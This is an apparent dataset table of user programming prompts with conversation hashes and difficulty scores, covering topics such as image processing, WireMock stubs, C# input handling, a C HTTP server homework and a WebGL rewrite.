row_id int64 0 48.4k | init_message stringlengths 1 342k | conversation_hash stringlengths 32 32 | scores dict |
|---|---|---|---|
20,899 | write a program to perform all operator overloading | 0ada51852a6c84335627eb39fdd2d611 | {
"intermediate": 0.2599220871925354,
"beginner": 0.22348996996879578,
"expert": 0.5165879726409912
} |
20,900 | from PIL import Image
# 打开图像文件
image_path = ‘D:/PyCharm 2022.3.3/lenna/lenna-RGB.tif’
image = Image.open(image_path)
# 图像的宽度和高度
width, height = image.size
# 创建RGB图像的空白像素矩阵
r_pixels, g_pixels, b_pixels = [], [], []
# 获取每个像素的RGB值并分别存储
for y in range(height):
for x in range(width):
r, g, b = image.getpixel((x, y))
r_pixels.append®
g_pixels.append(g)
b_pixels.append(b)
# 计算RGB通道的均值
mean_r = sum(r_pixels) // len(r_pixels)
mean_g = sum(g_pixels) // len(g_pixels)
mean_b = sum(b_pixels) // len(b_pixels)
# 对RGB通道进行均值化处理
r_normalized = [r - mean_r for r in r_pixels]
g_normalized = [g - mean_g for g in g_pixels]
b_normalized = [b - mean_b for b in b_pixels]
# 创建均值化后的RGB图像
normalized_image = Image.new(‘RGB’, (width, height))
# 将均值化后的像素值赋值到新图像中
for y in range(height):
for x in range(width):
r = r_normalized[y * width + x]
g = g_normalized[y * width + x]
b = b_normalized[y * width + x]
normalized_image.putpixel((x, y), (r, g, b))
# 保存均值化后的图像到文件
save_path = ‘D:/PyCharm 2022.3.3/lenna/normalized_lenna.tif’
normalized_image.save(save_path)
normalized_image.show()为什么运行后不显示结果 | 57b48cb6a4ea0f85abdb9c35540ee310 | {
"intermediate": 0.3574202060699463,
"beginner": 0.30210328102111816,
"expert": 0.34047648310661316
} |
20,901 | нужно написать код на julia, который повторяет входной сигнал заданное количество раз. на вход подается матрица, скаляр или вектор. может обрабатывать входной сигнал 2 способами:
1. Столбцы как каналы Когда вы выбираете эту опцию, блок обрабатывает каждый столбец ввода как отдельный канал. В этом режиме блок может выполнять односкоростную или многоскоростную обработку.
Принудить односкоростную обработку — Когда вы выбираете эту опцию, блок поддерживает входную частоту дискретизации, увеличивая размер выходного кадра .
Разрешить многоскоростную обработку — Когда вы выбираете эту опцию, блок повторно дискретизирует сигнал так, что выходная частота дискретизации в L раз быстрее, чем входная частота дискретизации.
2.Элементы как каналы (на основе выборки) — Когда вы выбираете эту опцию, блок обрабатывает каждый элемент входа как отдельный канал. В этом режиме блок всегда выполняет многоскоростную обработку. | 749a4b39ef7d44a9bc8c575bd57b49c5 | {
"intermediate": 0.15096108615398407,
"beginner": 0.6657627820968628,
"expert": 0.18327611684799194
} |
20,902 | How do I set an expiry time of 5 minutes to a key in Redis only if the key does not have an expiry time yet? | d3b2838cf2f45a844c473a72f99436c3 | {
"intermediate": 0.7479947209358215,
"beginner": 0.0770137831568718,
"expert": 0.17499148845672607
} |
20,903 | class WardrobePocketsPostProcessor implements Processor {
private ObjectMapper mapper
@Override
void process(Exchange exchange) {
mapper = ScenariosHelper.buildObjectMapper()
def responseMap = OAPIBatchExecuteUtils.instance.batchResponseHandler(exchange, WardrobePocketsModels, mapper) as Map<String, WardrobePocketsModels>
if (responseMap == null || !responseMap.values() || !responseMap.values()) {
throw new WorkflowException("TEST: Ошибка получения карманов")
}
def humanResourceCatalogItems = exchange.getProperty(TEST_HUMAN_RESOURCE_CATALOG_ROLES_ITEMS_CONST)
humanResourceCatalogItems.items.findAll { it.role != 'lector' }.each { human ->
responseMap.values().each { response ->
if (response.surname == human.surname) {
...
}
}
}
exchange.setProperty(TEST_WARDROBE_POCKETS_LIST, responeMap)
}
}
нужно сделать так, чтобы по условию role == 'lector' исключить всех лекторов из объекта responseMap | 06d45d90a966c0eed7c5ac7bc117ff97 | {
"intermediate": 0.6157428026199341,
"beginner": 0.2586062252521515,
"expert": 0.12565098702907562
} |
20,904 | I have a table with three columns A, B, C, D. I need to create a column Type with value "X" if A < 0, "Y" if B = 0, "YY" if B > 0 and C is null and "Z" if B > 0 and C is not null. Write Python script. | 32526db778200b4a33782d9257d94a51 | {
"intermediate": 0.39298397302627563,
"beginner": 0.2544969618320465,
"expert": 0.35251909494400024
} |
20,905 | C++ getasynckeystate while key is held down spam 1 Key | 736e37bcc3897a427a9c70e54f4df19e | {
"intermediate": 0.38191840052604675,
"beginner": 0.27230584621429443,
"expert": 0.3457757532596588
} |
20,906 | Write a function called futureRailFare that uses a for loop to calculate the future value of a train ticket assuming a monthly price rise of 2%. | 9588a210aaccd72458f7ed6dd58b4579 | {
"intermediate": 0.33106061816215515,
"beginner": 0.38115689158439636,
"expert": 0.2877824604511261
} |
20,907 | C# PostMessage send A key to a running process | 92879bca006d6616cc9cc2982dffba8b | {
"intermediate": 0.433069109916687,
"beginner": 0.31556373834609985,
"expert": 0.25136715173721313
} |
20,908 | как одной строкой объект sumCashMoneyList перевести в другой тип WardrobePocketsModels
humanResourceCatalogItems.items.findAll { it.role == 'lector' }.each {
functionList.add(new BatchExecuteRequestItem(
Method: PUT,
RequestId: "req-" + TEST_WARDROBE_POCKETS_PUT(it.surname) + '-PUT',
Url: TEST_WARDROBE_POCKETS_PUT(it.surname),
RequestBody: sumCashMoneyList // TODO: into WardrobePocketsModels
))
} | a028fcaaa113b7d88b990c7cd43959ad | {
"intermediate": 0.3777686655521393,
"beginner": 0.3206403851509094,
"expert": 0.3015909194946289
} |
20,909 | See example
|Client|Product|Date|Class|
|Client A|Product X|2021-01-01|1|
|Client A|Product X|2021-01-02|1|
|Client A|Product X|2021-01-04|2|
|Client A|Product X|2021-01-05|2|
|Client A|Product X|2021-01-06|2|
|Client A|Product X|2021-01-10|3|
|Client A|Product X|2021-01-15|4|
|Client A|Product Y|2021-01-08|1|
|Client A|Product Y|2021-01-09|1|
|Client A|Product Y|2021-01-10|1|
|Client A|Product Y|2021-01-15|2|
|Client A|Product Y|2021-01-25|3|
|Client A|Product Y|2021-01-26|3|
Based on the updated logic, where consecutive dates are determined by the difference between dates within each unique combination of Client and Product, you can modify the code as follows:
import pandas as pd
# Define sample data
data = {
‘Client’: [‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’, ‘Client A’],
‘Product’: [‘Product X’, ‘Product X’, ‘Product X’, ‘Product X’, ‘Product X’, ‘Product X’, ‘Product X’, ‘Product Y’, ‘Product Y’, ‘Product Y’, ‘Product Y’, ‘Product Y’],
‘Date’: [‘2021-01-01’, ‘2021-01-02’, ‘2021-01-04’, ‘2021-01-05’, ‘2021-01-06’, ‘2021-01-10’, ‘2021-01-15’, ‘2021-01-08’, ‘2021-01-09’, ‘2021-01-10’, ‘2021-01-15’, ‘2021-01-25’]
}
df = pd.DataFrame(data)
# Convert the Date column to datetime
df[‘Date’] = pd.to_datetime(df[‘Date’])
# Sort the DataFrame by Client, Product, and Date
df = df.sort_values([‘Client’, ‘Product’, ‘Date’]).reset_index(drop=True)
# Get the difference between Date and the previous date within each unique combination of Client and Product
df[‘Date Diff’] = (df.groupby([‘Client’, ‘Product’])[‘Date’].diff() / pd.Timedelta(days=1)).fillna(0)
# Assign class based on consecutive dates
df[‘Class’] = (df[‘Date Diff’] != 1).cumsum()
# Print the result
print(df)
Great! Could you start assigning classes from 1 for each combination of Client and Product? | 73466cdd0f8ebfb6de01ac87e46ed01c | {
"intermediate": 0.26332345604896545,
"beginner": 0.5284478664398193,
"expert": 0.20822866261005402
} |
20,910 | script to add to days holiday to employee balance every end month using sql server 2019 | b0fda3f935cde6fb649095320e4128d5 | {
"intermediate": 0.37938135862350464,
"beginner": 0.31060871481895447,
"expert": 0.3100099563598633
} |
20,911 | class WardrobePocketsModels {
String surname
CashMoneyList cashMoney
}
class CashMoneyList {
Long crable1
Long crable2
Long crable3
}
я создал экземпляр класса WardrobePocketsModels но после
WardrobePocketsModels sumCashMoneyList = new WardrobePocketsModels()
у меня нет crable1 crable2 crable3 | bfe78822834c7fd56cf1f75f3f747c01 | {
"intermediate": 0.3138497471809387,
"beginner": 0.4959350824356079,
"expert": 0.19021521508693695
} |
20,912 | import com.fasterxml.jackson.annotation.JsonInclude
class WardrobePocketsModels {
@JsonInclude(JsonInclude.Include.NON_NULL)
String surname
CashMoneyList cashMoney
}
class CashMoneyList {
Long crable1
Long crable2
Long crable3
}
игнорирование не сработало | f92d8d01bc47a27a221bcb8b2c84132e | {
"intermediate": 0.36163291335105896,
"beginner": 0.43197548389434814,
"expert": 0.2063915878534317
} |
20,913 | import com.fasterxml.jackson.annotation.JsonInclude
class WardrobePocketsModels {
@JsonInclude(JsonInclude.Include.NON_NULL)
String surname
CashMoneyList cashMoney
}
class CashMoneyList {
Long crable1
Long crable2
Long crable3
}
не работает игнорирование String surname | b98e9a77faa3931499f8429bf44878d5 | {
"intermediate": 0.3836491107940674,
"beginner": 0.41340264678001404,
"expert": 0.2029481828212738
} |
20,914 | C# how to find what key is pressed on a controller and use that in getasynckeystate | f99823f5f88f68f14c23cc09ae80bdf9 | {
"intermediate": 0.7556102871894836,
"beginner": 0.12430516630411148,
"expert": 0.12008454650640488
} |
20,915 | WireMock.stubFor(WireMock.post(WireMock.urlEqualTo("/openapi/v1/common/batchExecute?LOGIN=Admin&APPL_CODE=ps_sep"))
.willReturn(WireMock.okJson(loadBodyFromResourceFile("wardrobeSurnamePocketsGet.json"))
.withHeader("Content-Type", "application/json")))
как добавить чтобы ещё и body проверялось, а не только url | 97e7dc03bce12c015aba29c714ae4371 | {
"intermediate": 0.543327808380127,
"beginner": 0.31328144669532776,
"expert": 0.1433907449245453
} |
20,916 | C# how to get what controller button is pressed can't use windows.gaming.input | 82d5147d4c3a5016b2f2103d29b6a214 | {
"intermediate": 0.6153692603111267,
"beginner": 0.22400304675102234,
"expert": 0.16062763333320618
} |
20,917 | sigma.js initial color of the nodes and edges are black any solution? | 407e2d0cd09f7cb8a0e4d082446b8933 | {
"intermediate": 0.33500826358795166,
"beginner": 0.1588989794254303,
"expert": 0.5060927867889404
} |
20,918 | wiremock withrequestbody example for /openapi/v1/common/batchExecute | f0a08c1ced31b37f672d8418eb11993f | {
"intermediate": 0.5567954778671265,
"beginner": 0.2315615713596344,
"expert": 0.21164292097091675
} |
20,919 | wiremock withrequestbody example for /openapi/v1/common/batchExecute
нужно вот с таким RequestBody:
{
“cashMoney”: {
“crable3”: 99,
“crable2”: 66,
“crable1”: 33
},
“surname”: null
}
только вместо чисел любые (через регулярные выражения) | 2bf80992ea42965ca055b7e9a0da6537 | {
"intermediate": 0.41713467240333557,
"beginner": 0.2796019911766052,
"expert": 0.30326327681541443
} |
20,920 | wiremock withrequestbody example for /openapi/v1/common/batchExecute
нужно вот с таким RequestBody:
{
“cashMoney”: {
“crable3”: 99,
“crable2”: 66,
“crable1”: 33
},
“surname”: null
}
только вместо чисел любые (через регулярные выражения) | 55ad3df2c9d4a31339c6c1efec71f2eb | {
"intermediate": 0.41713467240333557,
"beginner": 0.2796019911766052,
"expert": 0.30326327681541443
} |
20,921 | wiremock withrequestbody example for /openapi/v1/common/batchExecute
нужно вот с таким RequestBody:
{
“cashMoney”: {
“crable3”: 99,
“crable2”: 66,
“crable1”: 33
},
“surname”: null
}
только вместо чисел любые | 94695ef3d4555fb4d2222359076a1cb6 | {
"intermediate": 0.4654463231563568,
"beginner": 0.2566654682159424,
"expert": 0.2778882086277008
} |
20,922 | wiremock withrequestbody example for /openapi/v1/common/batchExecute
нужно вот с таким RequestBody:
{
“cashMoney”: {
“crable3”: 99,
“crable2”: 66,
“crable1”: 33
},
“surname”: null
}
только вместо чисел любые | 898a1d276101952b7abcfee55ba9be18 | {
"intermediate": 0.4654463231563568,
"beginner": 0.2566654682159424,
"expert": 0.2778882086277008
} |
20,923 | wiremock withrequestbody example for /openapi/v1/common/batchExecute
нужно вот с таким RequestBody:
{
“cashMoney”: {
“crable3”: 99,
“crable2”: 66,
“crable1”: 33
},
“surname”: null
}
только вместо чисел любые | ee2d111fb8d454ae5cde0541dfdf9121 | {
"intermediate": 0.4654463231563568,
"beginner": 0.2566654682159424,
"expert": 0.2778882086277008
} |
20,924 | wiremock withrequestbody example for /openapi/v1/common/batchExecute
нужно вот с таким RequestBody:
{
“cashMoney”: {
“crable3”: 99,
“crable2”: 66,
“crable1”: 33
},
“surname”: null
}
только вместо чисел любые (через регулярные выражения) | e36b9d761a7f5d99dc4bb3bdb60011b2 | {
"intermediate": 0.41713467240333557,
"beginner": 0.2796019911766052,
"expert": 0.30326327681541443
} |
20,925 | wiremock withrequestbody example for /openapi/v1/common/batchExecute
нужно вот с таким RequestBody:
{
“cashMoney”: {
“crable3”: 99,
“crable2”: 66,
“crable1”: 33
},
“surname”: null
}
только вместо чисел любые (через регулярные выражения) | e043ea83c6f61bd38dc715f59c37f74e | {
"intermediate": 0.41713467240333557,
"beginner": 0.2796019911766052,
"expert": 0.30326327681541443
} |
20,926 | groovy.lang.MissingMethodException: No signature of method: com.github.tomakehurst.wiremock.client.BasicMappingBuilder.call() is applicable for argument types: (java.lang.String, com.github.tomakehurst.wiremock.matching.RegexPattern) values: [$.cashMoney.crable3, matches .*]
Possible solutions: wait(), any(), build(), grep(), collect(), dump() | b5d924d7d12fef2ab4fba19274403005 | {
"intermediate": 0.59819495677948,
"beginner": 0.2869662940502167,
"expert": 0.11483870446681976
} |
20,927 | rewrite this python script in bash | 0a7b140a430fa45b0b871384cf652d9a | {
"intermediate": 0.3332808315753937,
"beginner": 0.32999828457832336,
"expert": 0.33672091364860535
} |
20,928 | int http_send_file(int dst_fd, int src_fd) {
const int buf_size = 4096;
char buf[buf_size];
ssize_t bytes_read;
int status;
while( (bytes_read=read(src_fd, buf, buf_size))!=0) {
status = http_send_data(dst_fd, buf, bytes_read);
if(status < 0) return status;
}
return 0;
} | 5862c1588035a383f8d0e669ab8543c4 | {
"intermediate": 0.3922749161720276,
"beginner": 0.36961185932159424,
"expert": 0.23811323940753937
} |
20,929 | import {TradeItem} from “…/…/…/store/orderClusterSlice”;
import {OrderFeedProps} from “./OrderFeed.props”;
у меня в проекте идет отрисовка через canvasRef.current?.getContext("2d"); CanvasRenderingContext2D, нужно сделать отрисовку более производительнее на WebGL
какая из библиотек на react будет самаяя быстрая и произвожительная
const OrderFeed = ({workerRef, symbol, settings}: OrderFeedProps) => {
const cupParams = useSelector((state: AppState) => state.cupSlice);
const [dpiScale, setDpiScale] = useState(Math.ceil(window.devicePixelRatio));
const [canvasSize, setCanvasSize] = useState<CanvasSize>({height: 0, width: 0});
const containerRef = useRef<HTMLDivElement|null>(null);
const canvasRef = useRef<HTMLCanvasElement|null>(null);
const theme = useTheme();
const draw = (trades: TradeItem[], camera: number) => {
if (null === canvasRef || !Array.isArray(trades)) return;
const context = canvasRef.current?.getContext(“2d”);
if (context) {
orderFeedDrawer.clear(context, canvasSize);
orderFeedDrawer.drawLine(
context,
canvasSize,
trades,
camera,
cupParams.aggregatedPriceStep,
cupParams.cellHeight,
cupParams.quantityDivider,
!settings.minQuantity ? 0 : parseFloat(settings.minQuantity),
dpiScale,
theme,
);
orderFeedDrawer.drawChain(
context,
canvasSize,
trades,
camera,
cupParams.aggregatedPriceStep,
cupParams.cellHeight,
cupParams.quantityDivider,
cupParams.priceDivider,
!settings.minQuantity ? 0 : parseFloat(settings.minQuantity),
dpiScale,
theme,
settings.volumeAsDollars,
);
}
};
useEffect(() => {
if (!workerRef.current) return;
draw(event.data.trades, event.data.camera)
}, [workerRef.current, canvasRef.current, canvasSize, symbol
]);
return <Box ref={containerRef} className={${styles.canvasWrapper} scroll-block}>
<canvas
ref={canvasRef}
className={styles.canvas}
width={canvasSize?.width}
height={canvasSize?.height}
/>
</Box>;
};
export default OrderFeed;
const orderFeedDrawer = {
clear: (ctx: WebGLRenderingContext, size: CanvasSize) => {
ctx.clearRect(0, 0, size.width, size.height);
},
drawLine: (
ctx: CanvasRenderingContext2D,
canvasSize: CanvasSize,
trades: TradeItem[],
camera: number,
aggregatedPriceStep: number,
cupCellHeight: number,
quantityDivider: number,
minQuantity: number,
dpiScale: number,
theme: Theme,
) => {
let startX = canvasSize.width - 10 * dpiScale;
const fullHeightRowsCount = parseInt((canvasSize.height / cupCellHeight).toFixed(0));
const startY = (fullHeightRowsCount % 2 ? fullHeightRowsCount - 1 : fullHeightRowsCount) / 2 * cupCellHeight;
const halfCupCellHeight = cupCellHeight / 2;
ctx.beginPath();
ctx.strokeStyle = orderFeedOptions(theme).line.color;
ctx.lineWidth = (dpiScale) => 2 * dpiScale;
trades.forEach(trade => {
const yModifier = (trade.price - (trade.price - (trade?.secondPrice || trade.price)) / 2 - camera) / aggregatedPriceStep * cupCellHeight + halfCupCellHeight;
const width = 1.75 * clamp((trade.quantity / quantityDivider < minQuantity ? 0 : trade.radius), 5, 50) * dpiScale;
ctx.lineTo(startX - width / 2, startY - yModifier);
startX = startX - width;
});
ctx.stroke();
},
полностью напиши функцию orderFeedDrawer на библиотеку "react-pixi-fiber" по WebGLRenderingContext, у нас функциональные компоненты
нужно переписать этот код на эту библиотеку | 059a48c71203950e7c5d883030f8075e | {
"intermediate": 0.30576613545417786,
"beginner": 0.5113512873649597,
"expert": 0.182882621884346
} |
20,930 | write a python code to solve n-queen problem | 046698ac4ede410e1f64f5b92c561fc0 | {
"intermediate": 0.3000185787677765,
"beginner": 0.16977816820144653,
"expert": 0.5302032828330994
} |
20,931 | hi whats the code for adding 88 numbers in java and python and C | 34421ceb65f5292556630108d1c9f3b0 | {
"intermediate": 0.5529781579971313,
"beginner": 0.13067451119422913,
"expert": 0.3163474202156067
} |
20,932 | #include <arpa/inet.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <unistd.h>
#include "libhttp.h"
#include "wq.h"
/*
* Global configuration variables.
* You need to use these in your implementation of handle_files_request and
* handle_proxy_request. Their values are set up in main() using the
* command line arguments (already implemented for you).
*/
wq_t work_queue; // Only used by poolserver
int num_threads; // Only used by poolserver
int server_port; // Default value: 8000
char* server_files_directory;
char* server_proxy_hostname;
int server_proxy_port;
/*
* Serves the contents the file stored at `path` to the client socket `fd`.
* It is the caller's reponsibility to ensure that the file stored at `path` exists.
*/
//将文件内容写入客户端套接字
int send_data(int fd,char* data, size_t size)
{
ssize_t bytes_size;
while(size>0)
{
bytes_size=write(fd,data,size);
if(bytes_size>=0)
{
size-=bytes_size;
data+=bytes_size;
}
else
return -1;
}
return 0;
}
int send_file(int fd, int file)
{
const int buf_size = 4096;
char buf[buf_size];
ssize_t bytes_read=read(file, buf, buf_size);
int status=0;
while (bytes_read>0)
{
status=send_data(fd, buf, bytes_read);
if (status<0)
return status;
bytes_read=read(file, buf, buf_size);
}
return status;
}
int send_string(int fd, char* data)
{
return send_data(fd,data,strlen(data));
}
char* join_string(char *str1, char *str2, size_t *size)
{
size_t len1 = strlen(str1);
size_t len2 = strlen(str2);
char *buffer = (char *) malloc(len1 + len2 + 1);
memcpy(buffer,str1,len1);
memcpy(buffer+len1,str2,len2+1);
if (size != NULL)
*size=(len1+len2)*sizeof(char);
return buffer;
}
int get_file_size(int fd)
{
struct stat st;
if (fstat(fd,&st)==-1)
{
return -1;
}
return st.st_size;
}
void serve_file(int fd, char* path) {
/* TODO: PART 2 */
/* PART 2 BEGIN */
int file=open(path,O_RDONLY);
char* content_length=(char*) malloc(sizeof(char)*100);
snprintf(content_length, 100,"%d",get_file_size(file));
http_start_response(fd, 200);
http_send_header(fd, "Content-Type", http_get_mime_type(path));
http_send_header(fd, "Content-Length", content_length); // TODO: change this line too
http_end_headers(fd);
send_file(fd,file);
close(file);
/* PART 2 END */
/* PART 2 END */
}
void serve_directory(int fd, char* path) {
http_start_response(fd, 200);
http_send_header(fd, "Content-Type", http_get_mime_type(".html"));
http_end_headers(fd);
/* TODO: PART 3 */
/* PART 3 BEGIN */
// TODO: Open the directory (Hint: opendir() may be useful here)
DIR *directory=opendir(path);
struct dirent* entry;
while ((entry = readdir(directory)) != NULL)
{
if(strcmp(entry->d_name,"index.html")==0)
{
int length=strlen(path)+strlen("/index.html")+1;
char* path1=(char*) malloc(sizeof(char)*length);
http_format_index(path1,path);
int file=open(path1,O_RDONLY);
send_file(fd,file);
close(file);
closedir(directory);
return;
}
else
{
char * file_name_buffer;
if(strcmp(entry->d_name,"..")!=0)
{
int length = strlen("<a href=\"//\"></a><br/>") + strlen(path) + strlen(entry->d_name)*2 + 1;
file_name_buffer = (char* ) malloc(length * sizeof(char));
http_format_href(file_name_buffer, path, entry->d_name);
}
else
{
int length = strlen("<a href=\"//\"></a><br/>") + strlen("..") + strlen("")*2 + 1;
file_name_buffer = (char* ) malloc(length * sizeof(char));
http_format_href(file_name_buffer, "..", entry->d_name);
}
char* buffer1=(char*) malloc(1);
buffer1[0]='\0';
buffer1=join_string(buffer1,file_name_buffer,NULL);
size_t content_length;
buffer1=join_string(buffer1,"</center></body></html>",&content_length);
free(file_name_buffer);
send_string(fd,buffer1);
closedir(directory);
return;
}
}
/**
* TODO: For each entry in the directory (Hint: look at the usage of readdir() ),
* send a string containing a properly formatted HTML. (Hint: the http_format_href()
* function in libhttp.c may be useful here)
*/
/* PART 3 END */
}
/*
* Reads an HTTP request from client socket (fd), and writes an HTTP response
* containing:
*
* 1) If user requested an existing file, respond with the file
* 2) If user requested a directory and index.html exists in the directory,
* send the index.html file.
* 3) If user requested a directory and index.html doesn't exist, send a list
* of files in the directory with links to each.
* 4) Send a 404 Not Found response.
*
* Closes the client socket (fd) when finished.
*/
void handle_files_request(int fd) {
struct http_request* request = http_request_parse(fd);
if (request == NULL || request->path[0] != '/') {
http_start_response(fd, 400);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
close(fd);
return;
}
if (strstr(request->path, "..") != NULL) {
http_start_response(fd, 403);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
close(fd);
return;
}
/* Remove beginning `./` */
char* path = malloc(2 + strlen(request->path) + 1);
path[0] = '.';
path[1] = '/';
memcpy(path + 2, request->path, strlen(request->path) + 1);
/*
* TODO: PART 2 is to serve files. If the file given by `path` exists,
* call serve_file() on it. Else, serve a 404 Not Found error below.
* The `stat()` syscall will be useful here.
*
* TODO: PART 3 is to serve both files and directories. You will need to
* determine when to call serve_file() or serve_directory() depending
* on `path`. Make your edits below here in this function.
*/
/* PART 2 & 3 BEGIN */
struct stat info;
int result=stat(path,&info);
if(result!=0)
{
http_start_response(fd, 404);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
}
else
{
if(S_ISDIR(info.st_mode))
{
serve_directory(fd,path);
}
if(S_ISREG(info.st_mode))
{
serve_file(fd,path);
}
close(fd);
return;
}
/* PART 2 & 3 END */
close(fd);
return;
}
/*
* Opens a connection to the proxy target (hostname=server_proxy_hostname and
* port=server_proxy_port) and relays traffic to/from the stream fd and the
* proxy target_fd. HTTP requests from the client (fd) should be sent to the
* proxy target (target_fd), and HTTP responses from the proxy target (target_fd)
* should be sent to the client (fd).
*
* +--------+ +------------+ +--------------+
* | client | <-> | httpserver | <-> | proxy target |
* +--------+ +------------+ +--------------+
*
* Closes client socket (fd) and proxy target fd (target_fd) when finished.
*/
void handle_proxy_request(int fd) {
/*
* The code below does a DNS lookup of server_proxy_hostname and
* opens a connection to it. Please do not modify.
*/
struct sockaddr_in target_address;
memset(&target_address, 0, sizeof(target_address));
target_address.sin_family = AF_INET;
target_address.sin_port = htons(server_proxy_port);
// Use DNS to resolve the proxy target's IP address
struct hostent* target_dns_entry = gethostbyname2(server_proxy_hostname, AF_INET);
// Create an IPv4 TCP socket to communicate with the proxy target.
int target_fd = socket(PF_INET, SOCK_STREAM, 0);
if (target_fd == -1) {
fprintf(stderr, "Failed to create a new socket: error %d: %s\n", errno, strerror(errno));
close(fd);
exit(errno);
}
if (target_dns_entry == NULL) {
fprintf(stderr, "Cannot find host: %s\n", server_proxy_hostname);
close(target_fd);
close(fd);
exit(ENXIO);
}
char* dns_address = target_dns_entry->h_addr_list[0];
// Connect to the proxy target.
memcpy(&target_address.sin_addr, dns_address, sizeof(target_address.sin_addr));
int connection_status =
connect(target_fd, (struct sockaddr*)&target_address, sizeof(target_address));
if (connection_status < 0) {
/* Dummy request parsing, just to be compliant. */
http_request_parse(fd);
http_start_response(fd, 502);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
close(target_fd);
close(fd);
return;
}
/* TODO: PART 4 */
/* PART 4 BEGIN */
/* PART 4 END */
}
#ifdef POOLSERVER
/*
* All worker threads will run this function until the server shutsdown.
* Each thread should block until a new request has been received.
* When the server accepts a new connection, a thread should be dispatched
* to send a response to the client.
*/
void* handle_clients(void* void_request_handler) {
void (*request_handler)(int) = (void (*)(int))void_request_handler;
/* (Valgrind) Detach so thread frees its memory on completion, since we won't
* be joining on it. */
pthread_detach(pthread_self());
/* TODO: PART 7 */
/* PART 7 BEGIN */
/* PART 7 END */
}
/*
* Creates `num_threads` amount of threads. Initializes the work queue.
*/
void init_thread_pool(int num_threads, void (*request_handler)(int)) {
/* TODO: PART 7 */
/* PART 7 BEGIN */
/* PART 7 END */
}
#endif
/*
* Opens a TCP stream socket on all interfaces with port number PORTNO. Saves
* the fd number of the server socket in *socket_number. For each accepted
* connection, calls request_handler with the accepted fd number.
*/
void serve_forever(int* socket_number, void (*request_handler)(int)) {
struct sockaddr_in server_address, client_address;
size_t client_address_length = sizeof(client_address);
int client_socket_number;
// Creates a socket for IPv4 and TCP.
*socket_number = socket(PF_INET, SOCK_STREAM, 0);
if (*socket_number == -1) {
perror("Failed to create a new socket");
exit(errno);
}
int socket_option = 1;
if (setsockopt(*socket_number, SOL_SOCKET, SO_REUSEADDR, &socket_option, sizeof(socket_option)) ==
-1) {
perror("Failed to set socket options");
exit(errno);
}
// Setup arguments for bind()
memset(&server_address, 0, sizeof(server_address));
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = INADDR_ANY;
server_address.sin_port = htons(server_port);
/*
* TODO: PART 1
*
* Given the socket created above, call bind() to give it
* an address and a port. Then, call listen() with the socket.
* An appropriate size of the backlog is 1024, though you may
* play around with this value during performance testing.
*/
/* PART 1 BEGIN */
if(bind(*socket_number,(struct sockaddr*)&server_address,sizeof(server_address))==-1)
{
perror("Failed to bind the socket");
exit(errno);
}
if(listen(*socket_number,1024)==-1)
{
perror("Failed to listen to the socket");
exit(errno);
}
/* PART 1 END */
printf("Listening on port %d...\n", server_port);
修改代码,使得curl http://127.0.0.1/和curl http://127.0.0.1/index.html的结果相同 | f6165cc22307acc6b3b7ec81846cbe8d | {
"intermediate": 0.26946115493774414,
"beginner": 0.38555628061294556,
"expert": 0.3449825346469879
} |
20,933 | using python how can I get every number in a given range?
for example 1-10 would give me 1, 2, 3, 4... 10 | 82c0140657a2f7b8f5de1ca20e293b8f | {
"intermediate": 0.5144996643066406,
"beginner": 0.1486676186323166,
"expert": 0.33683276176452637
} |
20,934 | C++ WinAPI PlaySound example | fe7a33998d1d5bab77b8548f5b33336f | {
"intermediate": 0.5383496284484863,
"beginner": 0.271615594625473,
"expert": 0.19003474712371826
} |
20,935 | void handle_files_request(int fd) {
struct http_request* request = http_request_parse(fd);
if (request == NULL || request->path[0] != '/') {
http_start_response(fd, 400);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
close(fd);
return;
}
if (strstr(request->path, "..") != NULL) {
http_start_response(fd, 403);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
close(fd);
return;
}
/* Remove beginning `./` */
char* path = malloc(2 + strlen(request->path) + 1);
path[0] = '.';
path[1] = '/';
memcpy(path + 2, request->path, strlen(request->path) + 1);
/*
* TODO: PART 2 is to serve files. If the file given by `path` exists,
* call serve_file() on it. Else, serve a 404 Not Found error below.
* The `stat()` syscall will be useful here.
*
* TODO: PART 3 is to serve both files and directories. You will need to
* determine when to call serve_file() or serve_directory() depending
* on `path`. Make your edits below here in this function.
*/
/* PART 2 & 3 BEGIN */
struct stat info;
int result=stat(path,&info);
if(result!=0)
{
http_start_response(fd, 404);
http_send_header(fd, "Content-Type", "text/html");
http_end_headers(fd);
}
else
{
if(S_ISDIR(info.st_mode))
{
serve_directory(fd,path);
}
if(S_ISREG(info.st_mode))
{
serve_file(fd,path);
}
close(fd);
return;
}
/* PART 2 & 3 END */
close(fd);
return;
} | 5c2874f30f28ebd88f7951eb012a72d2 | {
"intermediate": 0.40732625126838684,
"beginner": 0.31658291816711426,
"expert": 0.2760908305644989
} |
20,936 | Hi please help 6.3 Character I/O
Polonius: What do you read, my lord? Hamlet: Words, words, words.
All data is input and output as character data. When your program outputs the number 10, it is really the two characters '1' and '0' that are output. Similarly, when the user wants to type in the number 10, he or she types in the character '1' followed by the character '0'. Whether the computer interprets this 10 as two characters or as the number 10 depends on how your program is written. But, however your program is written, the computer hardware is always reading the characters '1' and '0', not the number 10. This conversion between characters and numbers is usually done automatically so that you need not think about such detail. Sometimes, however, all this automatic help gets in the way. Therefore, C++ provides some low-level facilities for input and output of character data. These low-level facilities include no automatic conversions. This allows you to bypass the automatic facilities and do input/output in absolutely any way you want. You could even write input and output functions that read and write numbers in Roman numeral notation, if you wanted to be so perverse.
The Member Functions get and put
The function get allows your program to read in one character of input and store it in a variable of type char. Every input stream, whether it is an input-file stream or the stream cin, has get as a member
function. We will describe get as a member function of the stream cin, but it behaves in exactly the same way for input-file streams as it does for cin, so you can apply all that we say about get to input-file streams as well as to the stream cin.
